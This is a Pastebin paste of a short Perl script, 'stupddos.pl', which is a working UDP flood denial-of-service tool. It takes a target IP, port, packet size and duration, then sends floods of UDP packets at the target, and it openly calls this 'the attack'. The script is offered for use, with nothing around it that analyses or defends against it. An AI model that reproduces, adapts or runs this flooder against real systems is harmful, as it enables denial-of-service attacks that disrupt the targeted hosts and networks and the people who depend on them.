Advertisement
Guest User

stupddos.pl

a guest
May 20th, 2019
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.66 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use Socket;
  4. use strict;
  5.  
  6. print '
  7. ';
  8. print "\n";
  9.  
  10.  
  11. if ($#ARGV != 3) {
  12. print "./stupddos.pl <IP> <PORT> <SIZEPACKETS> <SECONDS>\n\n";
  13. exit(1);
  14. }
  15.  
  16. my ($ip,$port,$size,$time) = @ARGV;
  17. my ($iaddr,$endtime,$psize,$pport);
  18. $iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n";
  19. $endtime = time() + ($time ? $time : 1000000);
  20. socket(flood, PF_INET, SOCK_DGRAM, 17);
  21. print "To cancel the attack press 'Ctrl-C'\n" unless $time;
  22. for (;time() <= $endtime;) {
  23. $psize = $size ? $size : int(rand(50000)+64) ;
  24. $pport = $port ? $port : int(rand(65500))+1;
  25.  
  26. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement